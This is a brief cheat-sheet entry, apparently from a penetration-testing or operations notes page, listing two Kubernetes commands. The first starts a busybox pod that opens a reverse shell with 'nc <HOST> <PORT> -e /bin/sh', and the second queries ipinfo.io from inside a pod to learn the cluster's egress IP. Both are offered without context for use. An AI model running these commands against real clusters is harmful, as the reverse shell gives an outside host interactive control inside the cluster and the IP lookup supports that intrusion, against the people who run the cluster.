273 B
273 B
-
Run a Reverse Shell from the Kubernetes Cluster to your Host
kubectl run pod-shell --image=busybox -- nc <HOST> <PORT> -e /bin/sh
-
Get the External IP for Egress Communication to the Internet
kubectl exec $POD_NAME -n $NAMESPACE -- curl https://ipinfo.io/json